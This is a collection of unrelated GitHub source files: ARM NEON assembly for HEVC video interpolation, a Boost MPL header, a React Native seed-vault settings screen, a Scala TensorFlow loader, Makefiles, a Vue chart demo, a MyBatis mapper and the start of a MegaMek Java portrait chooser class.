vaddw.u8 q14, q14, d21 // 5*f vsubl.u8 q12, d22, d16 // g - a vadd.u16 \out, q13 // 58d + 17e vshll.u8 q13, d17, #2 // 4*b vadd.u16 q15, q14 // 10*c + 5*f vadd.s16 q13, q12 // - a + 4*b + g vsub.s16 \out, q15 // -10*c + 58*d + 17*e -5*f vadd.s16 \out, q13 // -a + 4*b -10*c + 58*d + 17*e -5*f .endm .macro qpel_filter_2 out=q7 vmov.i16 q12, #10 vmov.i16 q14, #11 vaddl.u8 q13, d19, d20 // d + e vaddl.u8 q15, d18, d21 // c + f vmul.u16 q13, q12 // 10 * (d+e) vmul.u16 q15, q14 // 11 * ( c + f) vaddl.u8 \out, d17, d22 // b + g vaddl.u8 q12, d16, d23 // a + h vadd.u16 \out, q13 // b + 10 * (d + e) + g vadd.s16 q12, q15 vshl.u16 \out, #2 // 4 * (b + 10 * (d + e) + g) vsub.s16 \out, q12 .endm .macro qpel_filter_3 out=q7 vmov.u8 d24, #58 vmov.u8 d25, #10 vshll.u8 q13, d19, #4 // 16*e vshll.u8 q14, d18, #2 // 4*f vmull.u8 \out, d20, d24 // 58*d vaddw.u8 q13, q13, d19 // 17*e vmull.u8 q15, d21, d25 // 10*c vaddw.u8 q14, q14, d18 // 5*f vsubl.u8 q12, d17, d23 // g - a vadd.u16 \out, q13 // 58d + 17e vshll.u8 q13, d22, #2 // 4*b vadd.u16 q15, q14 // 10*c + 5*f vadd.s16 q13, q12 // - a + 4*b + g vsub.s16 \out, q15 // -10*c + 58*d + 17*e -5*f vadd.s16 \out, q13 // -a + 4*b -10*c + 58*d + 17*e -5*f .endm .macro hevc_put_qpel_vX_neon_8 filter push {r4, r5, r6, r7} ldr r4, [sp, #16] // height ldr r5, [sp, #20] // width vpush {d8-d15} sub r2, r2, r3, lsl #1 sub r2, r3 mov r12, r4 mov r6, r0 mov r7, r2 lsl r1, #1 0: loadin8 cmp r5, #4 beq 4f 8: subs r4, #1 \filter vst1.16 {q7}, [r0], r1 regshuffle_d8 vld1.8 {d23}, [r2], r3 bne 8b subs r5, #8 beq 99f mov r4, r12 add r6, #16 mov r0, r6 add r7, #8 mov r2, r7 b 0b 4: subs r4, #1 \filter vst1.16 d14, [r0], r1 regshuffle_d8 vld1.32 {d23[0]}, [r2], r3 bne 4b 99: vpop {d8-d15} pop {r4, r5, r6, r7} bx lr .endm .macro hevc_put_qpel_uw_vX_neon_8 filter push {r4-r10} ldr r5, [sp, #28] // width ldr r4, [sp, #32] // height ldr r8, [sp, #36] // src2 ldr r9, [sp, #40] // src2stride vpush {d8-d15} sub r2, r2, r3, lsl #1 sub r2, r3 mov r12, r4 mov r6, r0 mov r7, r2 cmp r8, #0 bne .Lbi\@ 0: loadin8 cmp r5, #4 beq 4f 8: subs r4, #1 \filter vqrshrun.s16 d0, q7, #6 vst1.8 d0, [r0], r1 regshuffle_d8 vld1.8 {d23}, [r2], r3 bne 8b subs r5, #8 beq 99f mov r4, r12 add r6, #8 mov r0, r6 add r7, #8 mov r2, r7 b 0b 4: subs r4, #1 \filter vqrshrun.s16 d0, q7, #6 vst1.32 d0[0], [r0], r1 regshuffle_d8 vld1.32 {d23[0]}, [r2], r3 bne 4b b 99f .Lbi\@: lsl r9, #1 mov r10, r8 0: loadin8 cmp r5, #4 beq 4f 8: subs r4, #1 \filter vld1.16 {q0}, [r8], r9 vqadd.s16 q0, q7 vqrshrun.s16 d0, q0, #7 vst1.8 d0, [r0], r1 regshuffle_d8 vld1.8 {d23}, [r2], r3 bne 8b subs r5, #8 beq 99f mov r4, r12 add r6, #8 mov r0, r6 add r10, #16 mov r8, r10 add r7, #8 mov r2, r7 b 0b 4: subs r4, #1 \filter vld1.16 d0, [r8], r9 vqadd.s16 d0, d14 vqrshrun.s16 d0, q0, #7 vst1.32 d0[0], [r0], r1 regshuffle_d8 vld1.32 {d23[0]}, [r2], r3 bne 4b 99: vpop {d8-d15} pop {r4-r10} bx lr .endm function ff_hevc_put_qpel_v1_neon_8, export=1 hevc_put_qpel_vX_neon_8 qpel_filter_1 endfunc function ff_hevc_put_qpel_v2_neon_8, export=1 hevc_put_qpel_vX_neon_8 qpel_filter_2 endfunc function ff_hevc_put_qpel_v3_neon_8, export=1 hevc_put_qpel_vX_neon_8 qpel_filter_3 endfunc function ff_hevc_put_qpel_uw_v1_neon_8, export=1 hevc_put_qpel_uw_vX_neon_8 qpel_filter_1 endfunc function ff_hevc_put_qpel_uw_v2_neon_8, export=1 hevc_put_qpel_uw_vX_neon_8 qpel_filter_2 endfunc function ff_hevc_put_qpel_uw_v3_neon_8, export=1 hevc_put_qpel_uw_vX_neon_8 qpel_filter_3 endfunc .macro hevc_put_qpel_hX_neon_8 filter push {r4, r5, r6, r7} ldr r4, [sp, #16] // height ldr r5, [sp, #20] // width vpush {d8-d15} sub r2, #4 lsl r1, #1 mov r12, r4 mov r6, r0 mov r7, r2 cmp r5, #4 beq 4f 8: subs r4, #1 vextin8 \filter vst1.16 {q7}, [r0], r1 bne 8b subs r5, #8 beq 99f mov r4, r12 add r6, #16 mov r0, r6 add r7, #8 mov r2, r7 cmp r5, #4 bne 8b 4: subs r4, #1 vextin8 \filter vst1.16 d14, [r0], r1 bne 4b 99: vpop {d8-d15} pop {r4, r5, r6, r7} bx lr .endm .macro hevc_put_qpel_uw_hX_neon_8 filter push {r4-r10} ldr r5, [sp, #28] // width ldr r4, [sp, #32] // height ldr r8, [sp, #36] // src2 ldr r9, [sp, #40] // src2stride vpush {d8-d15} sub r2, #4 mov r12, r4 mov r6, r0 mov r7, r2 cmp r8, #0 bne .Lbi\@ cmp r5, #4 beq 4f 8: subs r4, #1 vextin8 \filter vqrshrun.s16 d0, q7, #6 vst1.8 d0, [r0], r1 bne 8b subs r5, #8 beq 99f mov r4, r12 add r6, #8 mov r0, r6 add r7, #8 mov r2, r7 cmp r5, #4 bne 8b 4: subs r4, #1 vextin8 \filter vqrshrun.s16 d0, q7, #6 vst1.32 d0[0], [r0], r1 bne 4b b 99f .Lbi\@: lsl r9, #1 cmp r5, #4 beq 4f mov r10, r8 8: subs r4, #1 vextin8 \filter vld1.16 {q0}, [r8], r9 vqadd.s16 q0, q7 vqrshrun.s16 d0, q0, #7 vst1.8 d0, [r0], r1 bne 8b subs r5, #8 beq 99f mov r4, r12 add r6, #8 add r10, #16 mov r8, r10 mov r0, r6 add r7, #8 mov r2, r7 cmp r5, #4 bne 8b 4: subs r4, #1 vextin8 \filter vld1.16 d0, [r8], r9 vqadd.s16 d0, d14 vqrshrun.s16 d0, q0, #7 vst1.32 d0[0], [r0], r1 bne 4b 99: vpop {d8-d15} pop {r4-r10} bx lr .endm function ff_hevc_put_qpel_h1_neon_8, export=1 hevc_put_qpel_hX_neon_8 qpel_filter_1 endfunc function ff_hevc_put_qpel_h2_neon_8, export=1 hevc_put_qpel_hX_neon_8 qpel_filter_2 endfunc function ff_hevc_put_qpel_h3_neon_8, export=1 hevc_put_qpel_hX_neon_8 qpel_filter_3 endfunc function ff_hevc_put_qpel_uw_h1_neon_8, export=1 hevc_put_qpel_uw_hX_neon_8 qpel_filter_1 endfunc function ff_hevc_put_qpel_uw_h2_neon_8, export=1 hevc_put_qpel_uw_hX_neon_8 qpel_filter_2 endfunc function ff_hevc_put_qpel_uw_h3_neon_8, export=1 hevc_put_qpel_uw_hX_neon_8 qpel_filter_3 endfunc .macro hevc_put_qpel_hXvY_neon_8 filterh filterv push {r4, r5, r6, r7} ldr r4, [sp, #16] // height ldr r5, [sp, #20] // width vpush {d8-d15} sub r2, #4 sub r2, r2, r3, lsl #1 sub r2, r3 // extra_before 3 lsl r1, #1 mov r12, r4 mov r6, r0 mov r7, r2 0: vextin8 \filterh q0 vextin8 \filterh q1 vextin8 \filterh q2 vextin8 \filterh q3 vextin8 \filterh q4 vextin8 \filterh q5 vextin8 \filterh q6 vextin8 \filterh q7 cmp r5, #4 beq 4f 8: subs r4, #1 \filterv vst1.16 {q8}, [r0], r1 regshuffle_q8 vextin8 \filterh q7 bne 8b subs r5, #8 beq 99f mov r4, r12 add r6, #16 mov r0, r6 add r7, #8 mov r2, r7 b 0b 4: subs r4, #1 \filterv vst1.16 d16, [r0], r1 regshuffle_q8 vextin8 \filterh q7 bne 4b 99: vpop {d8-d15} pop {r4, r5, r6, r7} bx lr .endm .macro hevc_put_qpel_uw_hXvY_neon_8 filterh filterv push {r4-r10} ldr r5, [sp, #28] // width ldr r4, [sp, #32] // height ldr r8, [sp, #36] // src2 ldr r9, [sp, #40] // src2stride vpush {d8-d15} sub r2, #4 sub r2, r2, r3, lsl #1 sub r2, r3 // extra_before 3 mov r12, r4 mov r6, r0 mov r7, r2 cmp r8, #0 bne .Lbi\@ 0: vextin8 \filterh q0 vextin8 \filterh q1 vextin8 \filterh q2 vextin8 \filterh q3 vextin8 \filterh q4 vextin8 \filterh q5 vextin8 \filterh q6 vextin8 \filterh q7 cmp r5, #4 beq 4f 8: subs r4, #1 \filterv vqrshrun.s16 d0, q8, #6 vst1.8 d0, [r0], r1 regshuffle_q8 vextin8 \filterh q7 bne 8b subs r5, #8 beq 99f mov r4, r12 add r6, #8 mov r0, r6 add r7, #8 mov r2, r7 b 0b 4: subs r4, #1 \filterv vqrshrun.s16 d0, q8, #6 vst1.32 d0[0], [r0], r1 regshuffle_q8 vextin8 \filterh q7 bne 4b b 99f .Lbi\@: lsl r9, #1 mov r10, r8 0: vextin8 \filterh q0 vextin8 \filterh q1 vextin8 \filterh q2 vextin8 \filterh q3 vextin8 \filterh q4 vextin8 \filterh q5 vextin8 \filterh q6 vextin8 \filterh q7 cmp r5, #4 beq 4f 8: subs r4, #1 \filterv vld1.16 {q0}, [r8], r9 vqadd.s16 q0, q8 vqrshrun.s16 d0, q0, #7 vst1.8 d0, [r0], r1 regshuffle_q8 vextin8 \filterh q7 bne 8b subs r5, #8 beq 99f mov r4, r12 add r6, #8 mov r0, r6 add r10, #16 mov r8, r10 add r7, #8 mov r2, r7 b 0b 4: subs r4, #1 \filterv vld1.16 d0, [r8], r9 vqadd.s16 d0, d16 vqrshrun.s16 d0, q0, #7 vst1.32 d0[0], [r0], r1 regshuffle_q8 vextin8 \filterh q7 bne 4b 99: vpop {d8-d15} pop {r4-r10} bx lr .endm function ff_hevc_put_qpel_h1v1_neon_8, export=1 hevc_put_qpel_hXvY_neon_8 qpel_filter_1, qpel_filter_1_32b endfunc function ff_hevc_put_qpel_h2v1_neon_8, export=1 hevc_put_qpel_hXvY_neon_8 qpel_filter_2, qpel_filter_1_32b endfunc function ff_hevc_put_qpel_h3v1_neon_8, export=1 hevc_put_qpel_hXvY_neon_8 qpel_filter_3, qpel_filter_1_32b endfunc function ff_hevc_put_qpel_h1v2_neon_8, export=1 hevc_put_qpel_hXvY_neon_8 qpel_filter_1, qpel_filter_2_32b endfunc function ff_hevc_put_qpel_h2v2_neon_8, export=1 hevc_put_qpel_hXvY_neon_8 qpel_filter_2, qpel_filter_2_32b endfunc function ff_hevc_put_qpel_h3v2_neon_8, export=1 hevc_put_qpel_hXvY_neon_8 qpel_filter_3, qpel_filter_2_32b endfunc function ff_hevc_put_qpel_h1v3_neon_8, export=1 hevc_put_qpel_hXvY_neon_8 qpel_filter_1, qpel_filter_3_32b endfunc function ff_hevc_put_qpel_h2v3_neon_8, export=1 hevc_put_qpel_hXvY_neon_8 qpel_filter_2, qpel_filter_3_32b endfunc function ff_hevc_put_qpel_h3v3_neon_8, export=1 hevc_put_qpel_hXvY_neon_8 qpel_filter_3, qpel_filter_3_32b endfunc function ff_hevc_put_qpel_uw_h1v1_neon_8, export=1 hevc_put_qpel_uw_hXvY_neon_8 qpel_filter_1, qpel_filter_1_32b endfunc function ff_hevc_put_qpel_uw_h2v1_neon_8, export=1 hevc_put_qpel_uw_hXvY_neon_8 qpel_filter_2, qpel_filter_1_32b endfunc function ff_hevc_put_qpel_uw_h3v1_neon_8, export=1 hevc_put_qpel_uw_hXvY_neon_8 qpel_filter_3, qpel_filter_1_32b endfunc function ff_hevc_put_qpel_uw_h1v2_neon_8, export=1 hevc_put_qpel_uw_hXvY_neon_8 qpel_filter_1, qpel_filter_2_32b endfunc function ff_hevc_put_qpel_uw_h2v2_neon_8, export=1 hevc_put_qpel_uw_hXvY_neon_8 qpel_filter_2, qpel_filter_2_32b endfunc function ff_hevc_put_qpel_uw_h3v2_neon_8, export=1 hevc_put_qpel_uw_hXvY_neon_8 qpel_filter_3, qpel_filter_2_32b endfunc function ff_hevc_put_qpel_uw_h1v3_neon_8, export=1 hevc_put_qpel_uw_hXvY_neon_8 qpel_filter_1, qpel_filter_3_32b endfunc function ff_hevc_put_qpel_uw_h2v3_neon_8, export=1 hevc_put_qpel_uw_hXvY_neon_8 qpel_filter_2, qpel_filter_3_32b endfunc function ff_hevc_put_qpel_uw_h3v3_neon_8, export=1 hevc_put_qpel_uw_hXvY_neon_8 qpel_filter_3, qpel_filter_3_32b endfunc .macro init_put_pixels pld [r1] pld [r1, r2] mov r12, MAX_PB_SIZE lsl r12, #1 .endm function ff_hevc_put_pixels_w2_neon_8, export=1 init_put_pixels vmov.u8 d5, #255 vshr.u64 d5, #32 0: subs r3, #1 vld1.32 {d0[0]}, [r1], r2 pld [r1] vld1.32 d6, [r0] vshll.u8 q0, d0, #6 vbit d6, d0, d5 vst1.32 d6, [r0], r12 bne 0b bx lr endfunc function ff_hevc_put_pixels_w4_neon_8, export=1 init_put_pixels 0: subs r3, #2 vld1.32 {d0[0]}, [r1], r2 vld1.32 {d0[1]}, [r1], r2 pld [r1] pld [r1, r2] vshll.u8 q0, d0, #6 vst1.64 {d0}, [r0], r12 vst1.64 {d1}, [r0], r12 bne 0b bx lr endfunc function ff_hevc_put_pixels_w6_neon_8, export=1 init_put_pixels vmov.u8 q10, #255 vshr.u64 d21, #32 0: subs r3, #1 vld1.16 {d0}, [r1], r2 pld [r1] vshll.u8 q0, d0, #6 vld1.8 {q12}, [r0] vbit q12, q0, q10 vst1.8 {q12}, [r0], r12 bne 0b bx lr endfunc function ff_hevc_put_pixels_w8_neon_8, export=1 init_put_pixels 0: subs r3, #2 vld1.8 {d0}, [r1], r2 vld1.8 {d2}, [r1], r2 pld [r1] pld [r1, r2] vshll.u8 q0, d0, #6 vshll.u8 q1, d2, #6 vst1.16 {q0}, [r0], r12 vst1.16 {q1}, [r0], r12 bne 0b bx lr endfunc function ff_hevc_put_pixels_w12_neon_8, export=1 init_put_pixels 0: subs r3, #2 vld1.64 {d0}, [r1] add r1, #8 vld1.32 {d1[0]}, [r1], r2 sub r1, #8 vld1.64 {d2}, [r1] add r1, #8 vld1.32 {d1[1]}, [r1], r2 sub r1, #8 pld [r1] pld [r1, r2] vshll.u8 q8, d0, #6 vshll.u8 q9, d1, #6 vshll.u8 q10, d2, #6 vmov d22, d19 vst1.64 {d16, d17, d18}, [r0], r12 vst1.64 {d20, d21, d22}, [r0], r12 bne 0b bx lr endfunc function ff_hevc_put_pixels_w16_neon_8, export=1 init_put_pixels 0: subs r3, #2 vld1.8 {q0}, [r1], r2 vld1.8 {q1}, [r1], r2 pld [r1] pld [r1, r2] vshll.u8 q8, d0, #6 vshll.u8 q9, d1, #6 vshll.u8 q10, d2, #6 vshll.u8 q11, d3, #6 vst1.8 {q8, q9}, [r0], r12 vst1.8 {q10, q11}, [r0], r12 bne 0b bx lr endfunc function ff_hevc_put_pixels_w24_neon_8, export=1 init_put_pixels 0: subs r3, #1 vld1.8 {d0, d1, d2}, [r1], r2 pld [r1] vshll.u8 q10, d0, #6 vshll.u8 q11, d1, #6 vshll.u8 q12, d2, #6 vstm r0, {q10, q11, q12} add r0, r12 bne 0b bx lr endfunc function ff_hevc_put_pixels_w32_neon_8, export=1 init_put_pixels 0: subs r3, #1 vld1.8 {q0, q1}, [r1], r2 pld [r1] vshll.u8 q8, d0, #6 vshll.u8 q9, d1, #6 vshll.u8 q10, d2, #6 vshll.u8 q11, d3, #6 vstm r0, {q8, q9, q10, q11} add r0, r12 bne 0b bx lr endfunc function ff_hevc_put_pixels_w48_neon_8, export=1 init_put_pixels 0: subs r3, #1 vld1.8 {q0, q1}, [r1] add r1, #32 vld1.8 {q2}, [r1], r2 sub r1, #32 pld [r1] vshll.u8 q8, d0, #6 vshll.u8 q9, d1, #6 vshll.u8 q10, d2, #6 vshll.u8 q11, d3, #6 vshll.u8 q12, d4, #6 vshll.u8 q13, d5, #6 vstm r0, {q8, q9, q10, q11, q12, q13} add r0, r12 bne 0b bx lr endfunc function ff_hevc_put_pixels_w64_neon_8, export=1 init_put_pixels 0: subs r3, #1 vld1.8 {q0, q1}, [r1] add r1, #32 vld1.8 {q2, q3}, [r1], r2 sub r1, #32 pld [r1] vshll.u8 q8, d0, #6 vshll.u8 q9, d1, #6 vshll.u8 q10, d2, #6 vshll.u8 q11, d3, #6 vshll.u8 q12, d4, #6 vshll.u8 q13, d5, #6 vshll.u8 q14, d6, #6 vshll.u8 q15, d7, #6 vstm r0, {q8, q9, q10, q11, q12, q13, q14, q15} add r0, r12 bne 0b bx lr endfunc function ff_hevc_put_qpel_uw_pixels_neon_8, export=1 push {r4-r9} ldr r5, [sp, #24] // width ldr r4, [sp, #28] // height ldr r8, [sp, #32] // src2 ldr r9, [sp, #36] // src2stride vpush {d8-d15} cmp r8, #0 bne 2f 1: subs r4, #1 vld1.8 {d0}, [r2], r3 vst1.8 d0, [r0], r1 bne 1b vpop {d8-d15} pop {r4-r9} bx lr 2: subs r4, #1 vld1.8 {d0}, [r2], r3 vld1.16 {q1}, [r8], r9 vshll.u8 q0, d0, #6 vqadd.s16 q0, q1 vqrshrun.s16 d0, q0, #7 vst1.8 d0, [r0], r1 bne 2b vpop {d8-d15} pop {r4-r9} bx lr endfunc .macro put_qpel_uw_pixels width, regs, regs2, regs3, regs4 function ff_hevc_put_qpel_uw_pixels_w\width\()_neon_8, export=1 ldr r12, [sp] // height 1: subs r12, #4 vld1.32 {\regs} , [r2], r3 vld1.32 {\regs2} , [r2], r3 vld1.32 {\regs3} , [r2], r3 vld1.32 {\regs4} , [r2], r3 vst1.32 {\regs} , [r0], r1 vst1.32 {\regs2} , [r0], r1 vst1.32 {\regs3} , [r0], r1 vst1.32 {\regs4} , [r0], r1 bne 1b bx lr endfunc .endm .macro put_qpel_uw_pixels_m width, regs, regs2, regs3, regs4 function ff_hevc_put_qpel_uw_pixels_w\width\()_neon_8, export=1 push {r4-r5} ldr r12, [sp, #8] // height 1: subs r12, #2 mov r4, r2 vld1.32 {\regs} , [r2]! vld1.32 {\regs2} , [r2] add r2, r4, r3 mov r4, r2 vld1.32 {\regs3} , [r2]! vld1.32 {\regs4} , [r2] add r2, r4, r3 mov r5, r0 vst1.32 {\regs} , [r0]! vst1.32 {\regs2} , [r0] add r0, r5, r1 mov r5, r0 vst1.32 {\regs3} , [r0]! vst1.32 {\regs4} , [r0] add r0, r5, r1 bne 1b pop {r4-r5} bx lr endfunc .endm put_qpel_uw_pixels 4, d0[0], d0[1], d1[0], d1[1] put_qpel_uw_pixels 8, d0, d1, d2, d3 put_qpel_uw_pixels_m 12, d0, d1[0], d2, d3[0] put_qpel_uw_pixels 16, q0, q1, q2, q3 put_qpel_uw_pixels 24, d0-d2, d3-d5, d16-d18, d19-d21 put_qpel_uw_pixels 32, q0-q1, q2-q3, q8-q9, q10-q11 put_qpel_uw_pixels_m 48, q0-q1, q2, q8-q9, q10 put_qpel_uw_pixels_m 64, q0-q1, q2-q3, q8-q9, q10-q11
{ "pile_set_name": "Github" }
#ifndef BOOST_MPL_AUX_NA_ASSERT_HPP_INCLUDED #define BOOST_MPL_AUX_NA_ASSERT_HPP_INCLUDED // Copyright Aleksey Gurtovoy 2001-2004 // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/mpl for documentation. // $Id$ // $Date$ // $Revision$ #include <boost/mpl/aux_/na.hpp> #include <boost/mpl/aux_/config/msvc.hpp> #include <boost/mpl/aux_/config/workaround.hpp> #if !BOOST_WORKAROUND(_MSC_FULL_VER, <= 140050601) \ && !BOOST_WORKAROUND(__EDG_VERSION__, <= 243) # include <boost/mpl/assert.hpp> # define BOOST_MPL_AUX_ASSERT_NOT_NA(x) \ BOOST_MPL_ASSERT_NOT((boost::mpl::is_na<type>)) \ /**/ #else # include <boost/static_assert.hpp> # define BOOST_MPL_AUX_ASSERT_NOT_NA(x) \ BOOST_STATIC_ASSERT(!boost::mpl::is_na<x>::value) \ /**/ #endif #endif // BOOST_MPL_AUX_NA_ASSERT_HPP_INCLUDED
{ "pile_set_name": "Github" }
Alignment score: -18
{ "pile_set_name": "Github" }
import React, { Component } from 'react'; import { connect } from 'react-redux'; import PropTypes from 'prop-types'; import { View, StyleSheet, TouchableWithoutFeedback, Keyboard } from 'react-native'; import { withTranslation } from 'react-i18next'; import { setSetting } from 'shared-modules/actions/wallet'; import { getThemeFromState } from 'shared-modules/selectors/global'; import SeedVaultExportComponent from 'ui/components/SeedVaultExportComponent'; import { leaveNavigationBreadcrumb } from 'libs/bugsnag'; import { isAndroid } from 'libs/device'; import SettingsDualFooter from 'ui/components/SettingsDualFooter'; import { width } from 'libs/dimensions'; const styles = StyleSheet.create({ container: { flex: 1, alignItems: 'center', justifyContent: 'space-between', width, }, bottomContainer: { flex: 1, }, topContainer: { flex: 11, justifyContent: 'center', }, }); /** Seed Vault Setting component */ class SeedVaultSettings extends Component { static propTypes = { /** Set new setting * @param {string} setting */ setSetting: PropTypes.func.isRequired, /** Translation helper * @param {string} translationString - locale string identifier to be translated */ t: PropTypes.func.isRequired, /** Theme settings */ theme: PropTypes.object.isRequired, }; constructor() { super(); this.state = { step: 'isValidatingWalletPassword', isAuthenticated: false, }; } componentDidMount() { leaveNavigationBreadcrumb('SeedVaultSettings'); } /** * Determines course of action on right button press dependent on current progress step * * @method onRightButtonPress */ onRightButtonPress() { const { step } = this.state; if (step === 'isExporting' && !isAndroid) { return this.SeedVaultExportComponent.onExportPress(); } else if (step === 'isSelectingSaveMethodAndroid') { return this.props.setSetting('accountManagement'); } this.SeedVaultExportComponent.onNextPress(); } render() { const { t, theme } = this.props; const { step, isAuthenticated } = this.state; return ( <TouchableWithoutFeedback onPress={Keyboard.dismiss}> <View style={styles.container}> <View style={styles.topContainer}> <SeedVaultExportComponent step={step} setProgressStep={(step) => this.setState({ step })} goBack={() => this.props.setSetting('accountManagement')} onRef={(ref) => { this.SeedVaultExportComponent = ref; }} isAuthenticated={isAuthenticated} setAuthenticated={() => this.setState({ isAuthenticated: true })} /> <View style={{ flex: 0.2 }} /> </View> <View style={styles.bottomContainer}> <SettingsDualFooter theme={theme} backFunction={() => this.SeedVaultExportComponent.onBackPress()} actionFunction={() => this.onRightButtonPress()} actionName={ step === 'isExporting' && !isAndroid ? t('global:export') : step === 'isSelectingSaveMethodAndroid' ? t('global:done') : t('global:next') } /> </View> </View> </TouchableWithoutFeedback> ); } } const mapStateToProps = (state) => ({ theme: getThemeFromState(state), }); const mapDispatchToProps = { setSetting, }; export default withTranslation(['seedVault', 'global'])( connect( mapStateToProps, mapDispatchToProps, )(SeedVaultSettings), );
{ "pile_set_name": "Github" }
/* * Copyright 2016 The BigDL Authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.intel.analytics.bigdl.utils.tf.loaders import java.nio.ByteOrder import com.intel.analytics.bigdl.Module import com.intel.analytics.bigdl.tensor.TensorNumericMath.TensorNumeric import org.tensorflow.framework.NodeDef import com.intel.analytics.bigdl.nn.ops.{ApproximateEqual => ApproximateEqualOps} import com.intel.analytics.bigdl.utils.tf.Context import scala.reflect.ClassTag class ApproximateEqual extends TensorflowOpsLoader { import Utils._ override def build[T: ClassTag](nodeDef: NodeDef, byteOrder: ByteOrder, context: Context[T])(implicit ev: TensorNumeric[T]): Module[T] = { val attributes = nodeDef.getAttrMap val tolerance = getFloat(attributes, "tolerance") ApproximateEqualOps[T](tolerance) } }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="en"> <head> <meta http-equiv="refresh" content="0;URL=trait.Clone.html"> </head> <body> <p>Redirecting to <a href="trait.Clone.html">trait.Clone.html</a>...</p> <script>location.replace("trait.Clone.html" + location.search + location.hash);</script> </body> </html>
{ "pile_set_name": "Github" }
# SPDX-License-Identifier: GPL-2.0 # Makefile for the Linux sound card driver # obj-$(CONFIG_SOUND) += soundcore.o obj-$(CONFIG_DMASOUND) += oss/dmasound/ obj-$(CONFIG_SND) += core/ i2c/ drivers/ isa/ pci/ ppc/ arm/ sh/ synth/ usb/ \ firewire/ sparc/ spi/ parisc/ pcmcia/ mips/ soc/ atmel/ hda/ x86/ xen/ obj-$(CONFIG_SND_AOA) += aoa/ # This one must be compilable even if sound is configured out obj-$(CONFIG_AC97_BUS) += ac97_bus.o obj-$(CONFIG_AC97_BUS_NEW) += ac97/ ifeq ($(CONFIG_SND),y) obj-y += last.o endif soundcore-objs := sound_core.o
{ "pile_set_name": "Github" }
MODULE = gnrc_netdev2 include $(RIOTBASE)/Makefile.base
{ "pile_set_name": "Github" }
<template> <div class="demo-chart-trend"> <div class="time-filter-area"> <NvDatePicker :width="350" type="daterangetime" :dateFormat="time.dateFormat" v-model="time.value" :options="time.dateOptions" @on-change="timeChange" /> </div> <NvTrend method="get" :options="trendConf.options" :title="trendConf.title" :url="trendConf.url" :params="trendConf.params" :show-loading="trendConf.showLoading" /> </div> </template> <script> import m from 'moment'; import u from 'underscore'; const DATE_FORMAT = 'YYYY-MM-DD HH:mm:ss'; const DEFAULT_TIME = { startTime: m().subtract(2, 'hour'), endTime: m() }; export default { name: 'demo-chart-trend', data() { return { time: { dateFormat: DATE_FORMAT, value: [ DEFAULT_TIME.startTime.toDate(), DEFAULT_TIME.endTime.toDate() ], dateOptions: { position: 'outer', shortcuts: [ { text: '30分钟', value() { return [ m().subtract(30, 'minute').toDate(), m().toDate() ]; } }, { text: '1小时', value() { return [ m().subtract(1, 'hour').toDate(), m().toDate() ]; } }, { text: '2小时', defaultSelected: true, value() { return [ m().subtract(2, 'hour').toDate(), m().toDate() ]; } }, { text: '1天', value() { return [ m().subtract(1, 'day').toDate(), m().toDate() ]; } }, { text: '7天', value() { return [ m().subtract(7, 'day').toDate(), m().toDate() ]; } } ] } }, trendConf: { // title 可选 title: '趋势图', // api 必选 url: '/api/demo/chart/trend/get', params: { startTime: DEFAULT_TIME.startTime.format(DATE_FORMAT), endTime: DEFAULT_TIME.endTime.format(DATE_FORMAT) }, // showLoading 可选 showLoading: '数据加载中...', // options 可选 options: { } } }; }, computed: { }, methods: { timeChange(time) { if (Array.isArray(time) && time.length === 2) { if (time[0] && time[1]) { let params = Object.assign({}, this.trendConf.params, { startTime: m(time[0]).format(DATE_FORMAT), endTime: m(time[1]).format(DATE_FORMAT) }); if (!u.isEqual(this.trendConf.params, params)) { this.trendConf.params = params; } } } } } }; </script> <style lang="less" > .demo-chart-trend { .time-filter-area { border: none; padding: 0; .filter-time-btn { margin-left: 20px; } margin-bottom: 20px; } } </style>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd"> <mapper namespace="com.mashibing.mapper.TblEnvirSettingMapper"> <!-- 通用查询映射结果 --> <resultMap id="BaseResultMap" type="com.mashibing.bean.TblEnvirSetting"> <id column="id" property="id" /> <result column="logo_name" property="logoName" /> <result column="product_name" property="productName" /> <result column="version" property="version" /> <result column="current_version" property="currentVersion" /> <result column="type" property="type" /> <result column="is_main" property="isMain" /> <result column="custom_text_one" property="customTextOne" /> <result column="custom_text_two" property="customTextTwo" /> <result column="custom_text_three" property="customTextThree" /> <result column="custom_text_four" property="customTextFour" /> <result column="set_time" property="setTime" /> <result column="product_id" property="productId" /> </resultMap> <!-- 通用查询结果列 --> <sql id="Base_Column_List"> id, logo_name, product_name, version, current_version, type, is_main, custom_text_one, custom_text_two, custom_text_three, custom_text_four, set_time, product_id </sql> </mapper>
{ "pile_set_name": "Github" }
/* * MegaMek - Copyright (C) 2020 - The MegaMek Team * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. */ package megamek.client.ui.swing.dialog.imageChooser; import java.awt.Window; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import megamek.client.ui.Messages; import megamek.client.ui.swing.tileset.PortraitManager; import megamek.common.Configuration; import megamek.common.Crew; import megamek.common.util.fileUtils.DirectoryItem; /** * This dialog allows players to select a portrait * It automatically fills itself with the portraits * in the {@link Configuration#portraitImagesDir()} directory tree. * Should be shown by using showDialog(). This method * returns either JOptionPane.OK_OPTION or .CANCEL_OPTION. * * @see AbstractImageChooser */ public class PortraitChooser extends AbstractImageChooser { private static final long serialVersionUID = 6487684461690549139L; /** When true, camos from all subdirectories of the current selection are shown. */ private boolean includeSubDirs = true; /** Creates a dialog that allows players to choose a portrait. */ public PortraitChooser(Window parent) { super(parent, Messages.getString("PortraitChoiceDialog.select_portrait"), new PortraitRenderer(), new PortraitChooserTree()); } @Override protected 